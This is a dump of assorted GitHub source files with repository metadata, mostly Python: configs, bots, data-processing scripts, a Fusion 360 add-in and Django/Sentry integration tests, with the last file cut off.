+{"seq_id":"72813456678","text":"import os\nfrom dotenv import load_dotenv\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\nENV_FILE = os.path.join(BASE_DIR, '.env')\nAPP_DIR = os.path.join(BASE_DIR, 'app')\nDEBUG=True\nLOGFILE = 'app/logs/error.log'\n\nif os.path.exists(ENV_FILE):\n load_dotenv(ENV_FILE)\n\nSECRET_KEY = os.getenv('SECRET_KEY', 'my_precious')\n\nDATABASES = {\n \"default\": {\n \"DATABASE_HOST\": os.getenv(\"DATABASE_HOST\",\"127.0.0.1\"),\n \"DATABASE_PORT\": os.getenv(\"DATABASE_PORT\", \"5432\"),\n \"DATABASE_USER\": os.getenv(\"DATABASE_USER\", \"postgres\"),\n \"DATABASE_PASSWORD\": os.getenv(\"DATABASE_PASSWORD\", \"\"),\n \"DATABASE_NAME\": os.getenv(\"DATABASE_NAME\", \"\")\n }\n}\n\nBCRYPT_LOG_ROUNDS = 4\n\nclass BaseConfig:\n \"\"\"Base configuration.\"\"\"\n SECRET_KEY = os.getenv('SECRET_KEY', 'my_precious')\n DEBUG = True\n BCRYPT_LOG_ROUNDS = 13\n SQLALCHEMY_TRACK_MODIFICATIONS = False\n\n\nclass DevelopmentConfig(BaseConfig):\n \"\"\"Development configuration.\"\"\"\n DEBUG = True\n BCRYPT_LOG_ROUNDS = 4","repo_name":"Erden777/FlaskAPI-Blog","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"24805969586","text":"__author__ = 'Aravinth Panchadcharam'\n__email__ = \"me@aravinth.info\"\n__date__ = '19/09/15'\n\nimport time\nfrom naoqi import ALProxy\n\nrobotIP = \"nao5.local\"\nPORT = 9559\nmotionProxy = ALProxy(\"ALMotion\", robotIP, PORT)\npostureProxy = ALProxy(\"ALRobotPosture\", robotIP, PORT)\n\n# Wake up robot\nmotionProxy.wakeUp()\n\n# Go to rest position\n# motionProxy.rest()\n","repo_name":"AravinthPanch/gesture-recognition-for-human-robot-interaction","sub_path":"source/command/proxyMotion.py","file_name":"proxyMotion.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","stars":68,"dataset":"github-code","pt":"0"}
+{"seq_id":"9155772951","text":"import json\nfrom marshest.marshmodels import MarshModel\n\nclass ListUsersResponse(MarshModel):\n\n def __init__(self, page,per_page,total,total_pages,data):\n self.page=page\n self.per_page=per_page\n self.total=total\n self.total_pages=total_pages\n self.data=data\n\n @classmethod\n def _json_to_object(cls, serialized_str):\n response = None\n try:\n json_dict = json.loads(serialized_str.decode(\"utf-8\"))\n except Exception as e:\n return (serialized_str)\n\n\nclass Data(MarshModel):\n def __init__(self,id,first_name,last_name,avatar):\n self.id=id\n self.first_name=first_name\n self.last_name=last_name\n self.avatar=avatar\n\n\n @classmethod\n def _json_to_object(cls, serialized_str):\n if type(serialized_str) is dict:\n json_dict = serialized_str\n else:\n json_dict = json.loads(serialized_str.decode(\"utf-8\"))\n try:\n response= Data(id=json_dict.get('id'),\n first_name=json_dict.get('first_name'),\n last_name=json_dict.get('last_name'),\n avatar=json_dict.get('avatar'))\n except:\n return response\n\n return response\n\n @classmethod\n def _list_to_object(cls, dict_list):\n items = []\n for item in dict_list:\n item_obj = cls._json_to_object(item)\n items.append(item_obj)\n return items\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n\n\n\n","repo_name":"chanilharisankar/restPython","sub_path":"api/src/clients/models/response.py","file_name":"response.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"72167592998","text":"import os\nfrom dotenv import load_dotenv\n\nload_dotenv('.env', verbose=True)\n\nfrom discord import Intents\n\nclass _MissingSentinel():\n def __repr__(self):\n return 'Missing'\n\n def __hash__(self) -> int:\n return False\n\nMISSING = _MissingSentinel()\n\nINTENTS = Intents(\n guilds=True,\n messages=True,\n message_content=True,\n reactions=True,\n dm_messages=True,\n members=True,\n voice_states=True\n)\n\nTOKEN = os.getenv(\"TOKEN\")\n\nDEFAULT_PREFIX = \">>\"\n\nPREFIX_CONFIGURATION_TABLE_SCHEMA = \"\"\"\nCREATE TABLE IF NOT EXISTS prefixConf (\n guild_id INTEGER PRIMARY KEY,\n prefix TEXT\n);\n\"\"\"\n","repo_name":"Bur-ham/Dandelion","sub_path":"src/utils/consts.py","file_name":"consts.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"10235541550","text":"def process():\n n = int(input())\n A = [int(i) for i in input().split()]\n B = [int(i) for i in input().split()]\n A.sort()\n B.sort()\n for i in range(0 , n):\n if A[i] > B[i]:\n print(\"NO\")\n return \n print(\"YES\")\n return \nfor i in range(int(input())):\n process()","repo_name":"mdunggggg/Python-PTIT","sub_path":"PY02006.py","file_name":"PY02006.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"38519646174","text":"import App\nimport imp\nimport Misc\nimport math\nimport Ship\nimport random\nfrom Vector import *\n\nnextTeamId = 0\n\nclass BasicCombatTeam:\n def __init__(self, name):\n self.shipsInFtl = []\n self.shipsInWorld = []\n self.ships = []\n\n self.name = name\n\n global nextTeamId\n self.id = nextTeamId\n nextTeamId += 1\n\n App.world.onUpdate += self.handleWorldUpdate\n App.world.onCombatTeamRemoved += self.handleTeamRemoved\n\n def __eq__(self, rhs):\n return self is rhs\n\n def handleTeamRemoved(self, world, team):\n if team is self:\n self.destroy()\n\n def destroy(self):\n App.world.onUpdate -= self.handleWorldUpdate\n\n def activeShips(self):\n return self.shipsInWorld\n\n def addShip(self, ship):\n ship.onDestroy += self.handleShipDestroyed\n self.ships.append(ship)\n\n def handleWorldUpdate(self, world):\n if len(self.shipsInFtl) > 0 and world.randomValue(0, 20) == 0:\n self.jumpNextShip()\n\n def jumpNextShip(self):\n ship = self.shipsInFtl.pop()\n\n ship.position = self.randomPosition()\n ship.rotation = App.world.randomValue(0, 1000) * (math.pi / 1000.0)\n ship.velocity = ( App.world.randomValue(-6.0, 6.0) , App.world.randomValue(-6.0, 6.0) )\n\n self.shipsInWorld.append(ship)\n App.world.addObject(ship)\n\n # Destroyed\n def handleShipDestroyed(self, ship):\n self.shipsInWorld.remove(ship)\n\n\nclass CombatTeam(BasicCombatTeam):\n def __init__(self, fleet):\n BasicCombatTeam.__init__(self, fleet.name)\n\n self.loadFleet(fleet)\n\n App.world.onUpdate += self.handleWorldUpdate\n\n # Setup\n def loadFleet(self, fleet):\n for definition in fleet.ships:\n for i in range(definition.count):\n ship = Ship.Ship(definition, \n (0, 0), 0, (0, 0), self)\n\n self.addShip(ship)\n self.shipsInFtl.append(ship)\n\n random.shuffle(self.shipsInFtl)\n\n # FTL\n def randomPosition(self):\n for i in range(1, 5):\n newPosition = (App.world.randomValue(-App.world.size, App.world.size), App.world.randomValue(-App.world.size, App.world.size))\n \n minDistance = 999999999\n for obj in App.world.all:\n distance = vectorMagnitude(vectorOffset( obj.position, newPosition))\n \n if distance < minDistance:\n minDistance = distance\n \n if minDistance > (Misc.WEAPON_RANGE / i):\n return newPosition\n\n return newPosition\n","repo_name":"jdthorne/spacegame2d","sub_path":"src/simulation/CombatTeam.py","file_name":"CombatTeam.py","file_ext":"py","file_size_in_byte":2512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"34452629697","text":"import os\nimport sys\nimport subprocess\nimport math\nimport time\nimport pandas as pd\nimport __main__\nimport glob\n\nclass ParallelDF:\n def __init__(self, df=None, fun=None, arg=None):\n self.whole_df = df\n self.process_fun = fun.__name__\n self.simple_arg = arg\n # self.module_name = os.path.basename(__main__.__file__).strip(\".py\")\n self.module_name = __main__.__file__[__main__.__file__.rfind('/') + 1:-3]\n self.num_cpu = 10\n self.tmp_input_path = '_tmp_input/{}.parquet'\n self.tmp_output_path = '_tmp_output/{}.parquet'\n self.file_name = 'split_part_'\n self.python_path = sys.executable\n self.script_path = '_tmp_execute.py'\n self.script = '''\nimport pandas as pd\nfrom {module_name} import {fun_name}\nimport sys\nprint(sys.argv)\nidx = (sys.argv[1])\ndf = pd.read_parquet('_tmp_input/'+str(idx)+'.parquet')\ndf = {fun_name}(df,{arg})\ndf.to_parquet('_tmp_output/'+str(idx)+'.parquet')\n'''.format(fun_name=self.process_fun, module_name=self.module_name, arg=self.simple_arg)\n\n def init(self):\n os.system('mkdir _tmp_input')\n os.system('mkdir _tmp_output')\n os.system('mkdir _tmp_log')\n fw_script = open(self.script_path, 'w')\n fw_script.write(self.script)\n\n def release(self):\n os.system('rm -r _tmp_input')\n os.system('rm -r _tmp_output')\n os.system('rm -r _tmp_log')\n os.system('rm '+self.script_path)\n\n def split_df(self):\n df_len = math.ceil(len(self.whole_df) / self.num_cpu)\n for i in range(self.num_cpu):\n self.whole_df[i * df_len:(i + 1) * df_len].to_parquet(self.tmp_input_path.format(i))\n self.whole_df = None\n del(self.whole_df)\n return\n\n def merge_df(self):\n lst_df = [pd.read_parquet(self.tmp_output_path.format(i)) for i in range(self.num_cpu)]\n return pd.concat(lst_df)\n\n def subprocess_method(self):\n lst_process = list()\n for i in range(self.num_cpu):\n process = subprocess.Popen(\n self.python_path + ' ' + self.script_path + ' ' + str(i) + ' > _tmp_log/' + str(i) + ' 2>&1',\n shell=True)\n lst_process.append(process)\n [p.wait() for p in lst_process] # not work well, need more memory\n return\n\n def shell_method(self):\n for i in range(self.num_cpu):\n os.system(\n self.python_path + ' ' + self.script_path + ' ' + str(i) + ' > _tmp_log/' + str(i) + ' 2>&1 &')\n while (True):\n files = glob.glob('_tmp_output/*parquet')\n print('output file num: ', len(files))\n if len(files) == self.num_cpu:\n break\n time.sleep(5)\n return\n\n def parallel_run(self):\n print('initial env.....')\n self.init()\n print('split dataframe.....')\n self.split_df()\n print('starting process.....')\n self.subprocess_method()\n print('merge result........')\n res = self.merge_df()\n print('release resources........')\n self.release()\n return res\n","repo_name":"hrxx/parpan","sub_path":"pp.py","file_name":"pp.py","file_ext":"py","file_size_in_byte":3112,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"24182564780","text":"lengths_tuple = tuple(map(int, input().split()))\nlength_of_first_set = lengths_tuple[0]\nlength_of_second_set = lengths_tuple[1]\nfirst_set = set()\nsecond_set = set()\nfor number in range(1, length_of_first_set + 1):\n current_number = int(input())\n first_set.add(current_number)\nfor number in range(1, length_of_second_set + 1):\n current_number = int(input())\n second_set.add(current_number)\nintersection_set = first_set.intersection(second_set)\nprint(*intersection_set, sep=\"\\n\")\n\n\n# length_of_first_set, length_of_second_set = input().split()\n# first_set = {int(input()) for number in range(int(length_of_first_set))}\n# second_set = {int(input()) for number in range(int(length_of_second_set))}\n# intersection_set = first_set.intersection(second_set)\n# print(*intersection_set, sep=\"\\n\")\n\n\n# def creating_set_function(length_of_elements: int):\n# current_set = set()\n# for element in range(length_of_elements):\n# current_element = input()\n# current_set.add(current_element)\n# return current_set\n#\n#\n# def intersection_set_function(set_one: set, set_two: set):\n# current_intersection_set = set_one.intersection(set_two)\n# return current_intersection_set\n#\n#\n# lengths_tuple = tuple(map(int, input().split()))\n# length_of_first_set = lengths_tuple[0]\n# length_of_second_set = lengths_tuple[1]\n# first_set = creating_set_function(length_of_first_set)\n# second_set = creating_set_function(length_of_second_set)\n# intersection_set = intersection_set_function(first_set, second_set)\n# print(*intersection_set, sep=\"\\n\")\n","repo_name":"cristov7/Python_Advanced","sub_path":"(B) - Tuples and Sets/2.2 - EXE (Tuples and Sets)/02. Sets of Elements.py","file_name":"02. Sets of Elements.py","file_ext":"py","file_size_in_byte":1560,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"38507925847","text":"import os\nfrom dotenv import load_dotenv\nimport time\n\nfrom langchain.document_loaders import JSONLoader\nfrom langchain.text_splitter import RecursiveCharacterTextSplitter\nfrom langchain.vectorstores import Pinecone \nfrom langchain.embeddings.openai import OpenAIEmbeddings\nimport pinecone \n\n\nload_dotenv()\nopenai_key = os.environ.get('OPENAI_API_KEY')\npinecone_key = os.environ.get('PINECONE_API_KEY')\npinecone_environment = os.environ.get('PINECONE_ENVIRONMENT')\npinecone_index = \"langchain1\"\n\ndocs_index_path = \"./docs.json\" \ndocs_index_schema = \".[]\" # [{\"body:...\"}] -> .[].body; see JSONLoader docs for more info\nembeddings = OpenAIEmbeddings(openai_api_key=openai_key)\ntext_splitter = RecursiveCharacterTextSplitter(chunk_size=1000, chunk_overlap=0,)\n\ndef chunks(lst, n):\n \"\"\"Yield successive n-sized chunks from lst.\"\"\"\n for i in range(0, len(lst), n):\n yield lst[i:i + n]\n\ndef metadata_func(record: dict, metadata: dict) -> dict:\n metadata[\"title\"] = record.get(\"title\")\n metadata[\"relURI\"] = record.get(\"relURI\")\n return metadata\n\nloader = JSONLoader(docs_index_path, jq_schema=docs_index_schema, metadata_func=metadata_func, content_key=\"body\") \n\ndata = loader.load()\ntexts = text_splitter.split_documents(data) \n\npinecone.init(\n api_key=pinecone_key,\n environment=pinecone_environment,\n)\n\nif pinecone_index in pinecone.list_indexes():\n print(f'The {pinecone_index} index already exists! We need to replace it with a new one.')\n print(\"Erasing existing index...\")\n pinecone.delete_index(pinecone_index) \n\ntime.sleep(60)\nprint(\"Recreating index...\")\n# wait a minute for the index to be deleted\npinecone.create_index(pinecone_index, metric=\"cosine\", dimension=1536, pods=1, pod_type=\"p1\") \n\n\nif pinecone_index in pinecone.list_indexes():\n\n print(f\"Loading {len(texts)} texts to index {pinecone_index}... \\n This may take a while. Here's a preview of the first text: \\n {texts[0].metadata} \\n {texts[0].page_content}\")\n\n for chunk in chunks(texts, 25):\n for doc in chunk:\n if doc.page_content.strip(): \n print(f\"Indexing: {doc.metadata['title']}\")\n print(f\"Content: {doc.page_content}\")\n Pinecone.from_texts([doc.page_content], embedding=embeddings, index_name=pinecone_index, metadatas=[doc.metadata])\n else:\n print(\"Ignoring blank document\")\n print(\"Done!\") \n","repo_name":"pachyderm/docs","sub_path":"ask-docs/embeddings/embeddings.py","file_name":"embeddings.py","file_ext":"py","file_size_in_byte":2404,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"0"}
+{"seq_id":"31550617440","text":"import glob\nimport sys\nimport csv\nfrom os import scandir\nimport os\nfrom pprint import pprint\nfrom collections import OrderedDict\nfrom functools import reduce\nimport re\nimport gzip\nimport datetime\nimport json\nfrom pprint import pprint\nfrom multiprocessing import Pool\n\n\nUUID_re = re.compile(\"^([a-z0-9]+-){4}[a-z0-9]+$\")\ndirectory=sys.argv[1]\n\ndef update_stream_file_contents(filepath: str) -> str:\n new_file_contents = []\n rewrite_flag = False\n try:\n with gzip.open(filepath) as fp:\n for line in fp.readlines():\n gzip_line_content = line.decode('utf-8')\n try:\n ts, offset, sample = gzip_line_content[:-1].split(',', 2)\n \n try:\n ts = int(ts)\n\n datapoints = sample.split(',')\n try:\n d = list(map(float, datapoints))\n except:\n rewrite_flag = True\n pass\n\n \n new_file_contents.append( str(ts)+\",\"+str(offset)+\",1\\n\")\n except:\n print(\"Inner Error\", filepath)\n pass\n except:\n print(\"Outer Error\", filepath)\n pass\n\n\n if rewrite_flag:\n print(filepath, rewrite_flag) \n# print(new_file_contents[:5])\n\n except:\n print(\"ERROR\", filepath)\n\n\n if len(new_file_contents) > 0:\n with gzip.open(filepath, 'wb') as new_file:\n for l in new_file_contents:\n new_file.write(l.encode('utf-8'))\n\n\ndef process_participant(p):\n basedir = os.path.join(directory,p)\n UUID_mapping = {}\n SKIP_mapping = {}\n for datedir in scandir(basedir):\n if datedir.is_dir:\n #print('Processing:',p, datedir.name)\n for ds in scandir(datedir):\n if ds.is_dir and ds.name not in SKIP_mapping:\n #print(ds.name, len(SKIP_mapping))\n for f in scandir(ds):\n if f.name[-5:] == '.json':\n #print(\"Evaluating:\",f.path)\n with open(f,'r') as input_file:\n metadata = json.loads(input_file.read())\n \n if metadata['identifier'] not in UUID_mapping and 'CU_NOTIF_RM_TICKERTEXT' in metadata['name']:\n UUID_mapping[metadata['identifier']] = metadata['name']\n print(p,metadata['identifier'],metadata['name'])\n else:\n SKIP_mapping[metadata['identifier']] = metadata['name']\n break\n\n\n if ds.name in UUID_mapping:\n datasource = UUID_mapping[ds.name]\n for f in scandir(ds):\n if f.name[-3:] == '.gz':\n #pass\n update_stream_file_contents(f.path)\n\n\nif __name__ == '__main__':\n participants = []\n for f in scandir(directory):\n if f.is_dir and UUID_re.match(f.name):\n participants.append(f.name)\n\n #p = Pool(1)\n\n #p.map(process_participant, participants)\n for p in participants:\n process_participant(p)\n","repo_name":"MD2Korg/CerebralCortex-Scripts","sub_path":"data_manipulation/file_rewriter.py","file_name":"file_rewriter.py","file_ext":"py","file_size_in_byte":3487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"73442662758","text":"from flask import Blueprint,render_template\nfrom cmsflask.models import Post, Content, Category, Comment\n\nclass_map = {\n 'post': Post,\n 'category': Category,\n 'comment': Comment,\n 'content': Content,\n }\n\nbase_url = '/admin/'\n\nadmin_content = Blueprint('admin_content', __name__, template_folder='templates')\n\n@admin_content.route(base_url, methods=['GET'])\ndef index():\n cs= Content.objects.all()\n return render_template('admin/content/list.html', contents=cs)\n","repo_name":"closears/cmsflask","sub_path":"cmsflask/admin/content.py","file_name":"content.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"44264880828","text":"#5 вариант\r\n\r\nimport re\r\n\r\na = ''\r\nb = ''\r\n\r\nwith open('cucumber.html', 'r', encoding='utf-8') as sock:\r\n for line in sock:\r\n a = a + ' ' + line.replace('\\n', '\\n')\r\n \r\nwith open (\"output.txt\", 'w', encoding = 'utf-8') as f:\r\n f.write(a)\r\n \r\nfor line in a:\r\n match = re.findall(r'Семейство:+\\D+\\d+\\D+\\w', a)\r\n if match:\r\n rg = re.compile('[^а-яёА-яё ]')\r\n for line in match:\r\n b = b + ' ' + line.replace('\\n', '\\n')\r\n print(rg.sub('', b))\r\n with open(\"log.txt\", \"w\", encoding = \"utf-8\") as g:\r\n g.write(reg.sub('', b))\r\n break\r\n else:\r\n print('Ошибка 404')\r\n break\r\n \r\n \r\n","repo_name":"goldenmaknae/goldenrep","sub_path":"hw10/hw10.py","file_name":"hw10.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"42388541367","text":"from itertools import combinations\n\n\ndef is_prime(num):\n if num == 1:\n return False\n for i in range(2, int(num ** 0.5) + 1):\n if num % i == 0:\n return False\n return True\n\n\ndef solution(nums):\n answer = 0\n for i in combinations(nums, 3):\n if is_prime(sum(i)):\n answer += 1\n return answer\n\n\nif __name__ == '__main__':\n print(solution([1, 2, 3, 4]))\n print(solution([1, 2, 7, 6, 4]))\n","repo_name":"HideOnHouse/Introduction_To_Algorithms","sub_path":"programmers_find_prime.py","file_name":"programmers_find_prime.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"75109585637","text":"import threading\n\nfrom pprint import pformat\nfrom os import getpid, kill\nfrom lib.structs.logger import Logger\nfrom lib.structs.storage import Storage\nfrom signal import signal, SIGALRM, SIGINT\nfrom lib.structs.dispatcher import Dispatcher\n\n\nclass Service(Storage):\n def __init__(self, name, modules, config, level, file, read_only=False):\n Storage.__init__(self, path=config)\n self._loaded = False\n self._log = Logger(\n name,\n level,\n file.replace(\"{pid}\", str(getpid())).replace(\"{name}\", name),\n )\n self._read_only = read_only\n self._log.info(f'Service \"{name}\" starting up init functions..')\n self._dispatcher = Dispatcher(self, modules)\n signal(SIGALRM, self._watchdog)\n threading.excepthook = self._thread_except\n\n def _load(self):\n self._log.debug(f'Loading configuration from \"{self.get_file()}\"..')\n try:\n self.read()\n except OSError as err:\n self._log.error(\n f'Error loading configuration \"{self.get_file()}\", using defaults!',\n err=err,\n )\n self._loaded = True\n\n def is_server(self):\n return False\n\n def forward(self, message):\n if message is None:\n return\n message[\"forward\"] = True\n self._log.debug(f\"Sending message 0x{message.header():02X} to internal Hooks.\")\n self._dispatcher.add(None, message)\n\n def send(self, eid, result):\n pass\n\n def _watchdog(self, _, frame):\n self._log.error(\n f'Received a Watchdog timeout for \"{frame.f_code.co_name}\" '\n f\"({frame.f_code.co_filename}:{frame.f_lineno}) [{pformat(frame.f_locals, indent=4)}]\"\n )\n\n def set_level(self, log_level):\n self._log.set_level(log_level)\n\n def _thread_except(self, args):\n self._log.error(\n f\"Received a Thread error {args.exc_type} ({args.exc_value})!\",\n err=args.exc_traceback,\n )\n kill(getpid(), SIGINT)\n\n def get(self, name, default=None):\n if not self._loaded:\n self._load()\n return super(__class__, self).get(name, default)\n\n def info(self, message, err=None):\n self._log.info(message, err)\n\n def debug(self, message, err=None):\n self._log.debug(message, err)\n\n def error(self, message, err=None):\n self._log.error(message, err)\n\n def warning(self, message, err=None):\n self._log.warning(message, err)\n\n def notify(self, title, message=None, icon=None):\n pass\n\n def set(self, name, value, only_not_exists=False):\n if not self._loaded:\n self._load()\n return super(__class__, self).set(name, value, only_not_exists)\n\n def get_config(self, name, default=None, save=False):\n r = self.get(name, default)\n if save and not self._read_only:\n try:\n self.write(perms=0o0640)\n except OSError as err:\n self.error(f'Error saving configuration \"{self.get_file()}\"!', err=err)\n return r\n\n def set_config(self, name, value, save=False, only_not_exists=False):\n r = self.set(name, value, only_not_exists)\n if save and not self._read_only:\n try:\n self.write(perms=0o0640)\n except OSError as err:\n self.error(f'Error saving configuration \"{self.get_file()}\"!', err=err)\n return r\n\n def write(self, path=None, indent=4, sort=True, perms=None, errors=True):\n if self._read_only:\n return\n return super(__class__, self).write(path, indent, sort, perms, errors)\n","repo_name":"iDigitalFlame/Spaceport","sub_path":"usr/lib/smd/lib/structs/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":3663,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"0"}
+{"seq_id":"8274257261","text":"class Solution:\n def majorityElement(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n from collections import Counter\n L = len(nums) // 2\n a = Counter(nums)\n for i in nums:\n if a[i] > L:\n return i\n","repo_name":"BubuYo/religious","sub_path":"array/169. Majority Element.py","file_name":"169. Majority Element.py","file_ext":"py","file_size_in_byte":293,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"0"}
+{"seq_id":"5788691884","text":"# Author-Patrick Rainsberry\n# Description-Calculates bolt holes\n\n# Importing Fusion Commands\nfrom .FusionBolterCommand import FusionBolterCommand, FusionBolterFindCommand\nfrom .FusionBolterPrepCommand import FusionBolterPrepCommand\nfrom .FusionBolterConfigCommand import FusionBolterConfigCommand\n\n\ncommands = []\ncommand_definitions = []\n\n# Define parameters for 1st command\ncmd = {\n 'cmd_name': 'Add Through Hole Fastener Stack',\n 'cmd_description': 'Adds Bolt, washers and nut to a through hole',\n 'cmd_id': 'cmdID_FusionBolterCommand_1',\n 'cmd_resources': './resources',\n 'workspace': 'FusionSolidEnvironment',\n 'toolbar_panel_id': 'Bolter',\n 'command_promoted': True,\n 'class': FusionBolterCommand\n}\ncommand_definitions.append(cmd)\n\n# Define parameters for 1st command\ncmd = {\n 'cmd_name': 'Count Holes',\n 'cmd_description': 'Calculate Bolt Holes with lengths',\n 'cmd_id': 'cmdID_FusionBolterCommand_2',\n 'cmd_resources': './resources',\n 'workspace': 'FusionSolidEnvironment',\n 'toolbar_panel_id': 'Bolter',\n 'command_promoted': False,\n 'class': FusionBolterFindCommand\n}\ncommand_definitions.append(cmd)\n\n# Define parameters for 1st command\ncmd = {\n 'cmd_name': 'Fusion Bolter - Prepare Hardware',\n 'cmd_description': 'Calculate Bolt Holes',\n 'cmd_id': 'cmdID_FusionBolterPrepCommand',\n 'cmd_resources': './resources',\n 'workspace': 'FusionSolidEnvironment',\n 'toolbar_panel_id': 'Bolter',\n 'class': FusionBolterPrepCommand\n}\ncommand_definitions.append(cmd)\n\n# Define parameters for 1st command\ncmd = {\n 'cmd_name': 'Configure Fusion Bolter',\n 'cmd_description': 'Initialize Fusion Bolter',\n 'cmd_id': 'cmdID_FusionBolterConfigCommand',\n 'cmd_resources': './resources',\n 'workspace': 'FusionSolidEnvironment',\n 'toolbar_panel_id': 'Bolter',\n 'class': FusionBolterConfigCommand\n}\ncommand_definitions.append(cmd)\n\n# Set to True to display various useful messages when debugging your app\ndebug = False\n\n\n# Don't change anything below here:\nfor cmd_def in command_definitions:\n command = cmd_def['class'](cmd_def, debug)\n commands.append(command)\n\n\ndef run(context):\n for run_command in commands:\n run_command.on_run()\n\n\ndef stop(context):\n for stop_command in commands:\n stop_command.on_stop()","repo_name":"cjsatuforc/FusionBolter","sub_path":"FusionBolter.py","file_name":"FusionBolter.py","file_ext":"py","file_size_in_byte":2311,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"33778494177","text":"#!/usr/bin/python\n#coding:utf-8\n\n\"\"\"\n@author: wuxikun\n@software: PyCharm Community Edition\n@file: drap_abstract_info.py\n@time: 1/8/19 10:34 AM\n\"\"\"\nimport sys\nimport os\nimport codecs\n\nfrom textrank4zh import TextRank4Keyword, TextRank4Sentence\n\ncurPath = os.path.abspath(os.path.dirname(__file__))\nrootPath = os.path.split(curPath)[0]\nsys.path.append(rootPath)\nsys.path.append(os.path.split(os.path.abspath(os.path.dirname(os.path.dirname(__file__))))[0])\n\nlabel_list = [\"工程类别\"]\ndata_path = rootPath + '/data'\nfolder = os.path.join(data_path, label_list[0])\nfile_names = os.listdir(folder)\n\n# tr4w = TextRank4Keyword()\n\ntr4s = TextRank4Sentence()\nfor name in file_names[0:10]:\n with open(os.path.join(folder, name), 'r')as f:\n text = f.read()\n tr4s.analyze(text=text, lower=True, source='all_filters')\n\n for item in tr4s.get_key_sentences(num=5):\n print(name, item.index, item.weight, item.sentence) # index是语句在文本中位置,weight是权重\n print('\\n')\n\n","repo_name":"Alucardmini/NLP_BASE_2.0","sub_path":"Text_classifier/src/drap_abstract_info.py","file_name":"drap_abstract_info.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"10553688025","text":"from __future__ import absolute_import\n\nimport pytest\nimport pytest_django\nimport json\n\nfrom werkzeug.test import Client\nfrom django import VERSION as DJANGO_VERSION\nfrom django.contrib.auth.models import User\nfrom django.core.management import execute_from_command_line\nfrom django.db.utils import OperationalError, ProgrammingError, DataError\n\nfrom sentry_sdk.integrations.executing import ExecutingIntegration\n\ntry:\n from django.urls import reverse\nexcept ImportError:\n from django.core.urlresolvers import reverse\n\nfrom sentry_sdk import capture_message, capture_exception, configure_scope\nfrom sentry_sdk.integrations.django import DjangoIntegration\n\nfrom tests.integrations.django.myapp.wsgi import application\n\n# Hack to prevent from experimental feature introduced in version `4.3.0` in `pytest-django` that\n# requires explicit database allow from failing the test\npytest_mark_django_db_decorator = pytest.mark.django_db\ntry:\n pytest_version = tuple(map(int, pytest_django.__version__.split(\".\")))\n if pytest_version > (4, 2, 0):\n pytest_mark_django_db_decorator = pytest.mark.django_db(databases=\"__all__\")\nexcept ValueError:\n if \"dev\" in pytest_django.__version__:\n pytest_mark_django_db_decorator = pytest.mark.django_db(databases=\"__all__\")\nexcept AttributeError:\n pass\n\n\n@pytest.fixture\ndef client():\n return Client(application)\n\n\ndef test_view_exceptions(sentry_init, client, capture_exceptions, capture_events):\n sentry_init(integrations=[DjangoIntegration()], send_default_pii=True)\n exceptions = capture_exceptions()\n events = capture_events()\n client.get(reverse(\"view_exc\"))\n\n (error,) = exceptions\n assert isinstance(error, ZeroDivisionError)\n\n (event,) = events\n assert event[\"exception\"][\"values\"][0][\"mechanism\"][\"type\"] == \"django\"\n\n\ndef test_ensures_x_forwarded_header_is_honored_in_sdk_when_enabled_in_django(\n sentry_init, client, capture_exceptions, capture_events, settings\n):\n \"\"\"\n Test that ensures if django settings.USE_X_FORWARDED_HOST is set to True\n then the SDK sets the request url to the `HTTP_X_FORWARDED_FOR`\n \"\"\"\n settings.USE_X_FORWARDED_HOST = True\n\n sentry_init(integrations=[DjangoIntegration()], send_default_pii=True)\n exceptions = capture_exceptions()\n events = capture_events()\n client.get(reverse(\"view_exc\"), headers={\"X_FORWARDED_HOST\": \"example.com\"})\n\n (error,) = exceptions\n assert isinstance(error, ZeroDivisionError)\n\n (event,) = events\n assert event[\"request\"][\"url\"] == \"http://example.com/view-exc\"\n\n\ndef test_ensures_x_forwarded_header_is_not_honored_when_unenabled_in_django(\n sentry_init, client, capture_exceptions, capture_events\n):\n \"\"\"\n Test that ensures if django settings.USE_X_FORWARDED_HOST is set to False\n then the SDK sets the request url to the `HTTP_POST`\n \"\"\"\n sentry_init(integrations=[DjangoIntegration()], send_default_pii=True)\n exceptions = capture_exceptions()\n events = capture_events()\n client.get(reverse(\"view_exc\"), headers={\"X_FORWARDED_HOST\": \"example.com\"})\n\n (error,) = exceptions\n assert isinstance(error, ZeroDivisionError)\n\n (event,) = events\n assert 